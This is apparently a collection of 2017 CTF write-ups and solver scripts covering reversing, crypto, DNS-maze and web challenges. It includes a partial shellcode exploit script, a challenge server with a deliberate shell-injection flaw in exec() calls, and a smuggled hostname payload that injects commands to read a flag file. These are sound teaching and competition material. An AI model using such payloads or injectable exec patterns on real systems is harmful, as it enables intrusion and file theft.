move_scope_y(y): 42 | global scope_y 43 | if y < scope_y: 44 | press(['Up'] * (scope_y - y)) 45 | elif y > scope_y: 46 | press(['Down'] * (y - scope_y)) 47 | scope_y = y 48 | 49 | def set_scope_color(color): 50 | global scope_color 51 | if color < scope_color: 52 | press(['a'] * (scope_color - color)) 53 | elif color > scope_color: 54 | press(['q'] * (color - scope_color)) 55 | scope_color = color 56 | 57 | def write_byte(addr, val): 58 | assert(0xfec0 <= addr <= 0xffff) 59 | set_scope_color(val) 60 | move_scope_x(addr - 0xfec0) 61 | move_scope_y(0) 62 | move_scope_y(1) 63 | 64 | def trigger_trail(retaddr_addr): 65 | assert(0 <= retaddr_addr <= 0xffff and retaddr_addr & 0xff == 0xfe) 66 | set_scope_color(retaddr_addr >> 8) 67 | move_scope_x(60) 68 | move_scope_y(0) 69 | press(['Return']) 70 | 71 | activate_window() 72 | auth() 73 | select_blessed_base() 74 | 75 | RETADDR_ADDR = 0xfffe 76 | SHELLCODE = '\xc7\x06\x14\x7c\x64\x16\xe9\xf7\x7b' 77 | PAYLOAD_ADDR = RETADDR_ADDR - len(SHELLCODE) 78 | PAYLOAD = SHELLCODE + struct.pack(' 38 | ``` 39 | 40 | Okay, let's load the image up in IDA (base and entry point at 0x7C00, 16-bit code). 41 | 42 | After setting up the video mode (text 80x25) and printing the prompt, it performs a disk read: 43 | 44 | ![Disk read](./img/0.png) 45 | 46 | This loads 24 512-byte sectors, starting from sector 1, into memory at 0x1000. After that, it's easy to see the input loop and determine that the input length is 8 bytes. After the input has been acquired, there's the following code: 47 | 48 | ![ROM decryption](./img/1.png) 49 | 50 | This decrypts 0x2000 bytes starting from address 0x1000 by repeating key XOR with the input, also single-byte XORed with 0x3C. Then, it checks whether the 8 bytes starting at 0x1003 are equal to `WARGAMES`. If they aren't, it goes back to prompting for a password. On the other hand, if the check passes, it sets the video mode to VGA 320x200 color, sets up the stack pointer to 0xF000 and jumps to 0x1000 (beginning of decrypted code). 51 | 52 | Since XOR encryption is used and we know 8 consecutive bytes of the plaintext, we can derive the key (i.e., the input password). I wrote a [small script](./scripts/extract.py) that finds the key and decrypts the whole ROM. 53 | 54 | Now the flag's pretty easy to find: 55 | 56 | ``` 57 | $ strings rom_dec | grep -Po 'flag{.*?}' 58 | flag{ok_you_decrypted_it_now_plz_pwn_it!} 59 | flag{__PWN_ON_SERVER_TO_GET_REAL_FLAG__} 60 | ``` 61 | 62 | The first flag is for this challenge. The second one refers to the [second part](../../pwn/cyberwar-350). -------------------------------------------------------------------------------- /0x00ctf-2017/reverse/challenge-004-50/README.md: -------------------------------------------------------------------------------- 1 | [writ[writeup by @bonaff] 2 | 3 | **CTF:** 0x00CTF 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** Reverse / challenge-004 8 | 9 | **Points:** 50 10 | 11 | We are given an ELF x86-64 executable: 12 | ``` 13 | $ file hello 14 | hello: ERROR: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=b8ccefeffb8978b2289ec31802396333def9dfad error reading (Invalid argument) 15 | ``` 16 | 17 | The file is a little messy, but nothing exceptional. 18 | At 0x40084E we can see the function that checks if the key is valid or not: 19 | 20 | ``` 21 | signed __int64 __fastcall sub_40084E(char *input_key) 22 | { 23 | char buf; // [rsp+1Bh] [rbp-5h] 24 | int i; // [rsp+1Ch] [rbp-4h] 25 | 26 | if ( (*buffer[0] ^ (unsigned __int8)*input_key) != 48 ) 27 | return 0xFFFFFFFFLL; 28 | if ( (buffer[0][1] ^ (unsigned __int8)input_key[1]) != 120 ) 29 | return 0xFFFFFFFFLL; 30 | if ( (buffer[0][2] ^ (unsigned __int8)input_key[2]) != 48 ) 31 | return 0xFFFFFFFFLL; 32 | if ( (buffer[0][3] ^ (unsigned __int8)input_key[3]) != 48 ) 33 | return 0xFFFFFFFFLL; 34 | if ( (buffer[0][4] ^ (unsigned __int8)input_key[4]) != 67 ) 35 | return 0xFFFFFFFFLL; 36 | if ( (buffer[0][5] ^ (unsigned __int8)input_key[5]) != 84 ) 37 | return 0xFFFFFFFFLL; 38 | if ( (buffer[0][6] ^ (unsigned __int8)input_key[6]) != 70 ) 39 | return 0xFFFFFFFFLL; 40 | if ( (buffer[0][7] ^ (unsigned __int8)input_key[7]) == 123 ) 41 | { 42 | for ( i = 0; i < dword_602080; ++i ) 43 | { 44 | buf = input_key[i % 8] ^ buffer[0][i]; 45 | write(1, &buf, 1uLL); 46 | } 47 | exit(1); 48 | } 49 | ``` 50 | 51 | In the final `for`, the program will decrypt the flag using the buffer and the key we give to it (if it was right). 52 | 53 | The quickest way to obtain the flag is to xor the buffer with `0x00CTF{` (that is the first part of the flag) in order to obtain our key. And then run the program with that key or simply xoring all the buffer with the key we found. 54 | 55 | ``` 56 | buffer[0]: 01 16 79 44 04 64 12 5A 01 0C 2F 21 72 53 60 16 02 2A 16 24 33 62 60 7B 57 | ``` 58 | 59 | Here's `get_key.py`: 60 | 61 | ```python 62 | buf = [0x01, 0x16, 0x79, 0x44, 0x04, 0x64, 0x12, 0x5A, 0x01, 0x0C, 63 | 0x2F, 0x21, 0x72, 0x53, 0x60, 0x16, 0x02, 0x2A, 0x16, 0x24, 64 | 0x33, 0x62, 0x60, 0x7B ] 65 | f = map(ord, "0x00CTF{") 66 | 67 | key = ''.join([chr(x^y) for x,y in zip(f, buf)]) 68 | 69 | print(key) 70 | ``` 71 | 72 | And finally, let's get the flag: 73 | 74 | ``` 75 | $ python get_key.py 76 | 1nItG0T! 77 | $ ./hello 78 | Welcome to the Twinlight Zone!!! 79 | Password: 1nItG0T! 80 | 0x00CTF{0bfU5c473D_PtR4Z3} 81 | ``` -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/reverse/counter.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define N_REGS 26 6 | 7 | struct instr { 8 | int opcode; 9 | int opnd; 10 | int n1; 11 | int n2; 12 | }; 13 | 14 | int g_code_num; 15 | struct instr *g_code; 16 | 17 | void read_code() 18 | { 19 | FILE *fd = fopen("code", "rb"); 20 | if (!fd) { 21 | puts("Could not find file"); 22 | exit(1); 23 | } 24 | 25 | if (fread(&g_code_num, sizeof(g_code_num), 1, fd) != 1) { 26 | puts("Error reading file"); 27 | exit(1); 28 | } 29 | 30 | if (g_code_num > 1000) { 31 | puts("Invalid number"); 32 | exit(1); 33 | } 34 | 35 | g_code = malloc(sizeof(struct instr) * g_code_num); 36 | if (g_code_num > 0) { 37 | int i = 0; 38 | while (fread(&g_code[i], sizeof(g_code[i]), 1, fd) == 1 && i < g_code_num) { 39 | struct instr *instr = &g_code[i]; 40 | unsigned char opnd = instr->opnd; 41 | 42 | if (instr->opcode < 0 || instr->opcode > 2) { 43 | puts("Invalid ins"); 44 | exit(1); 45 | } 46 | 47 | if (instr->opcode != 2 && opnd >= N_REGS) { 48 | puts("Invalid reg"); 49 | exit(1); 50 | } 51 | 52 | if (instr->opcode == 2 && instr->opnd > N_REGS) { 53 | puts("Invalid amo"); 54 | exit(1); 55 | } 56 | 57 | if (instr->n1 > g_code_num || (instr->opcode != 0 && instr->n2 > g_code_num)) { 58 | puts("Invalid next"); 59 | exit(1); 60 | } 61 | 62 | i++; 63 | } 64 | } 65 | 66 | fclose(fd); 67 | } 68 | 69 | void execute_code(uint64_t *regs, int i) 70 | { 71 | while (i != g_code_num) { 72 | struct instr *instr = &g_code[i]; 73 | unsigned char opnd = instr->opnd; 74 | 75 | switch (instr->opcode) { 76 | case 0: 77 | regs[opnd]++; 78 | i = instr->n1; 79 | break; 80 | case 1: 81 | if (regs[opnd]) { 82 | regs[opnd]--; 83 | i = instr->n1; 84 | } else { 85 | i = instr->n2; 86 | } 87 | break; 88 | case 2: { 89 | uint64_t *new_regs = malloc(sizeof(uint64_t) * N_REGS); 90 | for (int j = 0; j < N_REGS; j++) 91 | new_regs[j] = regs[j]; 92 | execute_code(new_regs, instr->n1); 93 | for (int j = 0; j < instr->opnd; j++) 94 | regs[j] = new_regs[j]; 95 | free(new_regs); 96 | i = instr->n2; 97 | break; 98 | } 99 | } 100 | } 101 | } 102 | 103 | int main(int argc, char *argv[]) 104 | { 105 | if (argc != 2) { 106 | puts("Need one argument"); 107 | return 1; 108 | } 109 | 110 | long input = strtol(argv[1], NULL, 10); // BUG: 32-bit truncation 111 | 112 | read_code(); 113 | uint64_t *regs = malloc(sizeof(uint64_t) * N_REGS); 114 | regs[0] = input; 115 | for (int i = 1; i < N_REGS; i++) 116 | regs[i] = 0; 117 | 118 | execute_code(regs, 0); 119 | printf("CTF{%016llx}\n", regs[0]); 120 | 121 | free(regs); 122 | return 0; 123 | } 124 | -------------------------------------------------------------------------------- /pwn2win-2017/crypto/differential_privacy/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @dantt] 2 | 3 | **CTF:** Pwn2Win CTF 2017 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** crypto / differential privacy 8 | 9 | **Points:** 173 10 | 11 | ``` 12 | Is it possible to have privacy on these days? The Rebelious Fingers do not think so. Get the flag. 13 | ``` 14 | 15 | We're given a server to connect to, which prompts us with the following: 16 | 17 | ``` 18 | Hello, chose an option: 19 | [1] Info 20 | [2] Query the flag (in ASCII) 21 | [3] Quit 22 | ``` 23 | 24 | If we select `1` we discover interesting information: 25 | ``` 26 | 1 27 | You can query the flag, but the characters are private (indistinguishable). 28 | Differential privacy mechanism: Laplace 29 | Sensitivity: ||125 - 45|| = 80 30 | Epsilon: 6.5 31 | ``` 32 | The scheme employed is then differential privacy, with Laplace additive noise. This means that the computed function (or query) on the "database" is perturbed with random noise, drawn from a Laplace distribution. The challenge also tells us some information about this: the security parameter `epsilon` (capturing information about the variance of the specific Laplace distribution, and the sensitivity of the computer function. 33 | In particular, this hints that the computed function is actually very simple: `ord(char) + noise`. Indeed, sensitivity here is the maximum absolute difference between the minimum and maximum values that the function can have. Interestingly, `chr(125) = }` and `chr(45) = -`, which we expect to be part of the flag. 34 | 35 | If we query the flag, we have confirmation of this: 36 | 37 | ``` 38 | 2 39 | [80, 79, 95, 49, 48, 79, 149, 46, 87, 126, 123, 131, 91, 109, 105, 120, 97, 80, 89, 93, 142, 125, 114, 104, 111, 61, 85, 74, 89, 91, 126, 83, 103, 119, 99, 101, 111] 40 | ``` 41 | 42 | Interpreting this as ASCII characters, we find a nonsensical `PO_10O\x95.W~{\x83[mixaPY]\x8e}rho=UJY[~Sgwceo`, as every character is perturbated by some random amount. 43 | 44 | If we query again the flag within the same connection, we obtain the same encrypted string. However, if we reconnect, we get a different perturbation of the flag. This means that the task is very easy: Laplace distribution has zero mean - it is symmetric and zero-centered. Therefore, if we query the flag enough times, and average character-by-character, we eventually cancel out the noise. We setup a simple script to do it: 45 | 46 | ```python 47 | from pwn import * 48 | import ast 49 | import numpy as np 50 | 51 | guess = [] 52 | 53 | for __ in range(1000): 54 | p = remote("200.136.213.143", 9999) 55 | 56 | p.recvuntil("Quit") 57 | p.sendline("2") 58 | guess.append(ast.literal_eval(p.recvuntil("]").strip("\n"))) 59 | print "".join([chr(int(round(xx))) for xx in np.mean(guess, axis=0)]) 60 | p.close() 61 | 62 | print guess 63 | ``` 64 | 65 | 1000 iterations are not enough to obtain perfect cancellation, but good enough for a bit of manual tweaking, giving us the flag: 66 | `CTF-BR{I_am_just_filtering_the_noise}` 67 | -------------------------------------------------------------------------------- /csaw-finals-2017/web/gopher2/gopher2-server.js: -------------------------------------------------------------------------------- 1 | var pherz = require('./nodepherz'); 2 | var { URL } = require('url'); 3 | var ip = require('ip'); 4 | var { exec } = require('child_process'); 5 | var { createHash } = require('crypto'); 6 | var { waterfall } = require('async'); 7 | var { readFileSync } = require('fs'); 8 | 9 | const SOURCE = readFileSync('./app.js'); 10 | const FLAG = readFileSync('/flag.txt'); 11 | 12 | function sandbox_directory(ip) { 13 | return 'sandbox/' + createHash('md5').update('pa_ssion').update(ip).digest('hex'); 14 | } 15 | 16 | var app = new pherz(); 17 | 18 | app.hostname = 'web.chal.csaw.io' 19 | app.port = 4333 20 | 21 | app.selector('/', function(req, res, done) { 22 | res.listing([ 23 | { 24 | type: 'T', 25 | data: 'Hey man, I heard you like writing clients, try writing a server!' 26 | }, 27 | { 28 | type: 'T', 29 | data: SOURCE, 30 | }, 31 | { 32 | type: 'L', 33 | selector: '/reset' 34 | }, 35 | { 36 | type: 'L', 37 | selector: '/run_client', 38 | parameters: [ 39 | { 40 | key: 'host', 41 | value: '0.0.0.0' 42 | }, 43 | { 44 | key: 'port', 45 | value: '3002' 46 | }, 47 | ], 48 | }, 49 | ]); 50 | done(); 51 | }); 52 | 53 | app.selector('/reset', function(req, res, done){ 54 | let sandbox = sandbox_directory(req.client.remoteAddress); 55 | exec(`rm -rf ${sandbox}`, (err) => { 56 | if (err) { 57 | res.listing([{ 58 | type: 'E', 59 | data: stderr, 60 | }]); 61 | } else { 62 | res.listing([{ 63 | type: 'T', 64 | data: 'Reset sandbox!', 65 | }]); 66 | } 67 | done(); 68 | }); 69 | }); 70 | 71 | app.selector('/run_client', function(req, res, done) { 72 | let {host, port} = req.params; 73 | let _url = `gopherz2://${host}:${port}`; //url injection ? 74 | let url; 75 | try { 76 | url = new URL(_url); 77 | } catch (e) { 78 | res.listing([{ 79 | type: 'E', 80 | data: 'Yeah that\'s not going to work', 81 | }]); 82 | return done(); 83 | } 84 | host = url.hostname; 85 | port = url.port; //se l'url è corretto (possibile gopherz://asd:30:30/ )? 86 | 87 | let sandbox = sandbox_directory(req.client.remoteAddress); 88 | if (host && port) { 89 | waterfall([ 90 | (cb) => { //crea sandbox e ci butta dentro client.py. Il tutto in modo asincrono al primo 91 | exec(`mkdir ${sandbox} && chmod +rwx ${sandbox} && cp client.py ${sandbox}/ && chmod 777 ${sandbox}`, (err, stderr, stdout) => { if (err) cb(stderr); else cb(); }); 92 | }, 93 | (cb) => { 94 | exec(`cd ${sandbox} && python3 client.py ${host} ${port}`, // esegue client.py (in teoria nessuna inienzione) 95 | (err, stdout, stderr) => { 96 | if(err) cb(stderr); 97 | else { 98 | res.listing([{ 99 | type:'T', 100 | data: stdout, 101 | }]); 102 | done(); 103 | } 104 | }); 105 | } 106 | ], (err) => { 107 | if(err) { 108 | res.listing([{ 109 | type: 'E', 110 | data: err 111 | }]); 112 | done(); 113 | } 114 | }) 115 | } else { 116 | res.listing([{ 117 | type: 'E', 118 | data: 'host and port wrong' 119 | }]); 120 | done(); 121 | } 122 | }); 123 | 124 | exec('mkdir sandbox', (err, stderr, stdout) => { 125 | app.listen(); 126 | }); -------------------------------------------------------------------------------- /hxpctf-2017/misc/irrgarten/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @TheNodi] 2 | 3 | **CTF:** HXP CTF 2017 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** misc / Irrgarten 8 | 9 | The only hint we are given is a dig command querying a DNS Server: 10 | 11 | ``` 12 | dig -t txt -p53535 @35.198.105.104 950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link 13 | ``` 14 | 15 | We executed it and the answer was a TXT record saying `Try down.`. 16 | 17 | We queried `down.950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link` and received a CNAME record pointing to `569b8ba8-ac9a-4d60-a816-10d13b3d7021.maze.ctf.link`. 18 | 19 | After playing around with the DNS Server, we understood that every URL was a position in a maze and we could move by prepending `down/up/right/left` to the address. 20 | 21 | At this point it was as easy as to code a [Wall Follower](https://en.wikipedia.org/wiki/Maze_solving_algorithm#Wall_follower) algorithm and let it run for a few minutes. When we faced a "dead end" we checked the TXT record associated with that address, to check if it contained the flag. 22 | 23 | At the end we found the flag to be: `hxp{w3-h0p3-y0u-3nj0y3d-dd051n6-y0ur-dn5-1rr364r73n}`. 24 | 25 | ### Automated Script 26 | 27 | ```js 28 | const dns = require('dns'); 29 | 30 | dns.setServers([ 31 | '35.198.105.104:53535' 32 | ]); 33 | 34 | /** 35 | * Get information for given position 36 | * 37 | * @param {string} position 38 | */ 39 | function info(position) { 40 | return new Promise((resolve, reject) => { 41 | 42 | dns.resolveTxt(`${position}.maze.ctf.link`, (err, records) => { 43 | 44 | if (err || records.length === 0) { 45 | resolve(false); 46 | } else { 47 | resolve(records); 48 | } 49 | 50 | }); 51 | 52 | }); 53 | } 54 | 55 | /** 56 | * Move from given position into a direction 57 | * 58 | * @param {string} position 59 | * @param {string} direction 60 | */ 61 | function moveTo(position, direction) { 62 | return new Promise((resolve, reject) => { 63 | 64 | dns.resolveCname(`${direction}.${position}.maze.ctf.link`, (err, records) => { 65 | 66 | if (err || records.length === 0) { 67 | resolve(false); 68 | } else { 69 | resolve(records[0].replace('.maze.ctf.link', '')); 70 | } 71 | 72 | }); 73 | 74 | }); 75 | } 76 | 77 | const followerDirections = { 78 | down: ['left', 'down', 'right'], 79 | up: ['right', 'up', 'left'], 80 | right: ['down', 'right', 'up'], 81 | left: ['up', 'left', 'down'], 82 | }; 83 | 84 | const visited = []; 85 | 86 | /** 87 | * Wall Follower Maze solver 88 | * 89 | * @param {string} start 90 | * @param {string} from 91 | */ 92 | async function solve(start, from) { 93 | visited.push(start); 94 | let moved = false; 95 | 96 | for (let i = 0; i < 3; i++) { 97 | const direction = followerDirections[from][i]; 98 | 99 | const next = await moveTo(start, direction); 100 | 101 | if (next !== false) { 102 | 103 | if (visited.indexOf(next) > -1) { 104 | console.log(`\x1b[37mVisited: ${next}\x1b[0m`); 105 | return; 106 | } 107 | 108 | moved = true; 109 | 110 | await solve(next, direction); 111 | } 112 | } 113 | 114 | if (!moved) { 115 | console.log(`\x1b[90mDead end: ${start}\x1b[0m`); 116 | 117 | const txt = await info(start); 118 | 119 | if (txt !== false) { 120 | console.log(`\x1b[41mInfo: ${txt}\x1b[0m`); 121 | } 122 | } 123 | } 124 | 125 | solve('950ae439-d534-4b0c-8722-9ddcb97a50f6', 'down'); 126 | ``` 127 | -------------------------------------------------------------------------------- /csaw-finals-2017/web/gopher2/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @bonaff] 2 | 3 | **CTF:** CSAW CTF Final Round 2017 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** Web / Gophers2 8 | 9 | **Points:** 200 10 | 11 | > Solve Gophers1, and it will tell you what to do. 12 | 13 | For this challenge I reused the client from the Gophers1 challange (let's call it `pwn_client.py`): 14 | 15 | ```python 16 | #!/usr/bin/env python2 17 | 18 | import sys 19 | import random 20 | from pwn import * 21 | 22 | DH_P = 251 23 | DH_G = 6 24 | 25 | def request(data): 26 | p = remote('web.chal.csaw.io', 4333) 27 | 28 | # Diffie-Hellman key exchange 29 | dh_a = random.randint(0, 255) 30 | dh_A = (DH_G ** dh_a) % DH_P 31 | p.send(p8(dh_A)) 32 | dh_B = u8(p.recvn(1)) 33 | s = (dh_B ** dh_a) % DH_P 34 | 35 | crypt = lambda x : ''.join([chr(ord(c) ^ s) for c in x]) 36 | 37 | p.send(crypt(data)) 38 | return crypt(p.recvall()) 39 | 40 | if len(sys.argv) >= 2: 41 | print request(sys.argv[1]) 42 | ``` 43 | 44 | Sending a `/` returns "Hey man, I heard you like writing clients, try writing a server!", with the source code of the remote server. 45 | Time for some code review! 46 | 47 | From the first lines of code we can see that the flag is in the root directory: 48 | 49 | ```javascript 50 | const FLAG = readFileSync('/flag.txt'); 51 | ``` 52 | 53 | But this constant is never used in the code, so we are looking for some kind of file disclosure / remote code execution. 54 | 55 | Then there are some app.selector: 56 | 57 | ```javascript 58 | app.selector('/', function(req, res, done){ 59 | ``` 60 | 61 | This is the index that we've seen before. Nothing fancy. 62 | 63 | ```javascript 64 | app.selector('/reset', function(req, res, done){ 65 | [...] 66 | ``` 67 | 68 | This will reset a sandbox (see below). 69 | 70 | ```javascript 71 | app.selector('/run_client', function(req, res, done) { [..] } 72 | ``` 73 | 74 | Finally, this will get a hostname and a port, and will connect to that host:port using gopher2. The way it does this is quite interesting: 75 | 76 | 1. First, it creates a sandbox and copies a client script named `client.py`. 77 | 2. Then, it checks that the hostname and the port are valid by creating an URL object. 78 | 3. Finally, it passes the hostname and the port to the client by calling **`exec`**. 79 | 80 | Here's the code: 81 | 82 | ```javascript 83 | let {host, port} = req.params; 84 | let _url = `gopherz2://${host}:${port}`; 85 | let url; 86 | try { 87 | url = new URL(_url); 88 | } catch (e) { 89 | res.listing([{ 90 | type: 'E', 91 | data: 'Yeah that\'s not going to work', 92 | }]); 93 | return done(); 94 | } 95 | host = url.hostname; 96 | port = url.port; 97 | 98 | let sandbox = sandbox_directory(req.client.remoteAddress); 99 | if (host && port) { 100 | waterfall([ 101 | (cb) => { 102 | exec(`mkdir ${sandbox} && chmod +rwx ${sandbox} && cp client.py ${sandbox}/ && chmod 777 ${sandbox}`, (err, stderr, stdout) => { if (err) cb(stderr); else cb(); }); 103 | }, 104 | (cb) => { 105 | exec(`cd ${sandbox} && python3 client.py ${host} ${port}`, 106 | (err, stdout, stderr) => { 107 | if(err) cb(stderr); 108 | else { 109 | res.listing([{ 110 | type:'T', 111 | data: stdout, 112 | }]); 113 | done(); 114 | } 115 | }); 116 | } 117 | ], (err) => { 118 | if(err) { 119 | res.listing([{ 120 | type: 'E', 121 | data: err 122 | }]); 123 | done(); 124 | } 125 | }) 126 | } else { 127 | res.listing([{ 128 | type: 'E', 129 | data: 'host and port wrong' 130 | }]); 131 | done(); 132 | } 133 | }); 134 | ``` 135 | 136 | Playing a bit with the URL parser, I found that the characters ``$;`{}`` are considered valid in the hostname, so if we forge a host like: 137 | 138 | ```text 139 | 0;`echo${IFS}foo` 140 | ``` 141 | 142 | Bash will throw an error, saying that the command `foo` can't be found. So let's read the flag! 143 | 144 | ```bash 145 | ./pwn_client.py '/run_client\thost:0;`cd${IFS}..;cd${IFS}..;cd${IFS}..;cat${IFS}flag.txt`\tport:444' 146 | ``` 147 | 148 | And this will throw an error with the flag. -------------------------------------------------------------------------------- /0x00ctf-2017/reverse/challenge-000-50/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @bonaff] 2 | 3 | **CTF:** 0x00CTF 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** Reverse / challenge-000 (guessme) 8 | 9 | **Points:** 50 10 | 11 | >Hi there. Can you find the right key that unlocks the flag? 12 | >Platform: 64 bit Linux (developed on Ubuntu) 13 | 14 | For this challenge we are given an executable. Running `file` on it gives us the following information: 15 | 16 | ```text 17 | guessme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=92b1d84ee22b7c92dc80fac971bdc7f6cd0e3672, stripped 18 | ``` 19 | 20 | Running it: 21 | 22 | ``` 23 | $ ./guessme 24 | Enter a key: foo 25 | FAIL 26 | ``` 27 | 28 | This program as you can see is quite simple: 29 | 1. It asks for a key; 30 | 2. If the key is correct it will print the flag. 31 | 32 | Decompiling the main function, we can clearly see where it checks if the password is correct or no: 33 | 34 | ```c 35 | input_key_size = std::__cxx11::basic_string,std::allocator>::length(&input_key); 36 | if ( input_key_size == sub_401402(&buffer) ) 37 | { 38 | std::operator<<>(&std::cout, "FAIL\n"); 39 | v5 = 1; 40 | }else 41 | { 42 | for ( i = 0; 43 | i < (unsigned __int64)std::__cxx11::basic_string,std::allocator>::length(&v14); 44 | ++i ) 45 | { 46 | v6 = *(char *)std::__cxx11::basic_string,std::allocator>::operator[](&v14, i) 47 | - 97; 48 | if ( v6 == *(_DWORD *)sub_4012D8(&v13, i) ) 49 | { 50 | std::operator<<>(&std::cout, "FAIL\n"); 51 | v5 = 2; 52 | goto FAIL; 53 | } 54 | } 55 | ``` 56 | 57 | Initially it checks if the key we inserted is of the right length (returned by `sub_401402(&buffer)`). 58 | 59 | `buffer` contains our key, and it is generated by this code: 60 | 61 | ```c 62 | sub_4011FA(&len, a2, a3); 63 | sub_401232((__int64)&buffer, 14LL, (__int64)&len); 64 | sub_401216(&len); 65 | *(_DWORD *)get_buffer_item(&buffer, 13LL) = 233; 66 | *(_DWORD *)get_buffer_item(&buffer, 12LL) = 144; 67 | len = 11; 68 | sub_4010DF(&buffer, &len); 69 | sub_4012F8(&v11, &buffer); 70 | while ( 1 ) 71 | { 72 | sub_401338(&len, &buffer); 73 | if ( !(unsigned __int8)sub_40136C(&v11, &len) ) 74 | break; 75 | v3 = (_DWORD *)sub_4013B2(&v11); 76 | *v3 %= 26; 77 | sub_401394(&v11); 78 | } 79 | ``` 80 | 81 | Since I'm quite lazy, I preferred to run the program, set a break point once our buffer is ready, and then dump it. 82 | 83 | First, let's find out how long the key is. Below is the code that performs the check: 84 | ``` 85 | .text:0000000000400F51 lea rax, [rbp+input_key] 86 | .text:0000000000400F55 mov rdi, rax 87 | .text:0000000000400F58 call __ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv ; std::__cxx11::basic_string,std::allocator>::length(void) 88 | .text:0000000000400F5D mov rbx, rax 89 | .text:0000000000400F60 lea rax, [rbp+buffer] 90 | .text:0000000000400F64 mov rdi, rax 91 | .text:0000000000400F67 call sub_401402 92 | .text:0000000000400F6C cmp rbx, rax 93 | .text:0000000000400F6F setnz al 94 | .text:0000000000400F72 test al, al 95 | .text:0000000000400F74 jnz short loc_400F8F 96 | ``` 97 | 98 | `sub_401402` is the function that returns the expected length. Furthermore, it accepts the buffer that contains the password, so let's set a break point and look for what we want: 99 | 100 | ``` 101 | gdb-peda$ b *0x400f67 102 | Breakpoint 3 at 0x400f67 103 | gdb-peda$ r 104 | Starting program [..] 105 | Enter a key: aaaaaaaaaaaaa 106 | Breakpoint 3, 0x0000000000400f67 in ?? () 107 | gdb-peda$ i r rdi 108 | rdi 0x7fffffffde30 0x7fffffffde30 109 | ``` 110 | 111 | rdi contains the address of the password. 112 | 113 | ``` 114 | gdb-peda$ x/20wx *0x7fffffffde30 115 | 0x615e70: 0x00000000 0x00000001 0x00000001 0x00000002 116 | 0x615e80: 0x00000003 0x00000005 0x00000008 0x0000000d 117 | 0x615e90: 0x00000015 0x00000008 0x00000003 0x0000000b 118 | 0x615ea0: 0x0000000e 0x00000019 0x00000411 0x00000000 119 | 0x615eb0: 0x65746e45 0x20612072 0x3a79656b 0x00000020 120 | ``` 121 | 122 | And, for the length... 123 | 124 | ``` 125 | gdb-peda$ n 126 | gdb-peda$ i r eax 127 | rax 0xe 0xe 128 | ``` 129 | 130 | So... 131 | 132 | ```python 133 | #!/usr/bin/env python3 134 | k = [0x0,0x1,0x1,0x2,0x3,0x5,0x8,0xd,0x15,0x8,0x3,0xb,0xe,0x19] 135 | print(''.join([chr(i+97) for i in k])) 136 | ``` 137 | 138 | ``` 139 | $ python guessme_key.py 140 | abbcdfinvidloz 141 | $ ./guessme 142 | Enter a key: abbcdfinvidloz 143 | Good key! 144 | The flag is: 0x00CTF{abbcdfinvidloz} -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/tools/transllvm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import sys 4 | import struct 5 | import llvmlite.ir as ll 6 | import llvmlite.binding as llvm 7 | 8 | # VM register -> index in register array 9 | REGS_MAP = { 10 | 0: 0, 11 | 1: 1, 12 | 2: 2, 13 | 3: 3, 14 | 4: 4 15 | } 16 | 17 | # Constant zero register 18 | ZERO_REG = 25 19 | 20 | # Maximum number of pass-by-pointer return registers 21 | MAX_DST_REGS = 1 22 | 23 | class Instruction: 24 | # Increment r[opnd] 25 | # Goto n1 26 | OPCODE_INC = 0 27 | # If r[opnd] != 0: 28 | # Decrement r[opnd] 29 | # Goto n1 30 | # Else: 31 | # Goto n2 32 | OPCODE_CDEC = 1 33 | # Call n1 (return registers 0...opnd-1) 34 | # Goto n2 35 | OPCODE_CALL = 2 36 | 37 | def __init__(self, instr_raw): 38 | (self.opcode, self.opnd, self.n1, self.n2) = struct.unpack('<4I', instr_raw) 39 | 40 | def disassemble(code): 41 | num = struct.unpack('= num: 46 | instr.n1 = -1 47 | if instr.n2 >= num: 48 | instr.n2 = -1 49 | disasm.append(instr) 50 | return disasm 51 | 52 | # Types 53 | t_void = ll.VoidType() 54 | t_int = ll.IntType(64) 55 | t_int_ptr = ll.PointerType(t_int) 56 | 57 | # Helpers 58 | int_const = lambda val : ll.Constant(t_int, val) 59 | 60 | def translate_call(module, disasm, target, n_dst_regs, scratch, bldr, regs, funcs): 61 | translate_function(module, disasm, target, n_dst_regs, funcs) 62 | 63 | args = scratch[:n_dst_regs] + regs 64 | regs[0] = bldr.call(funcs[target], args) 65 | for i in range(n_dst_regs): 66 | regs[i+1] = bldr.load(args[i]) 67 | 68 | def translate_function(module, disasm, start, n_dst_regs, funcs): 69 | if start in funcs: 70 | return 71 | 72 | # int64_t sub_X([int64_t *r1], int64_t r0, ...) 73 | t_sub = ll.FunctionType(t_int, (t_int_ptr,)*n_dst_regs + (t_int,)*len(REGS_MAP)) 74 | f = ll.Function(module, t_sub, name='sub_{}'.format(start)) 75 | f.linkage = 'internal' 76 | bldr = ll.IRBuilder(f.append_basic_block()) 77 | scratch = [bldr.alloca(t_int) for i in range(MAX_DST_REGS)] 78 | regs = list(f.args[n_dst_regs:]) 79 | 80 | funcs[start] = f 81 | translate_r(module, disasm, start, n_dst_regs, scratch, bldr, regs, funcs, {}) 82 | 83 | def translate_r(module, disasm, start, 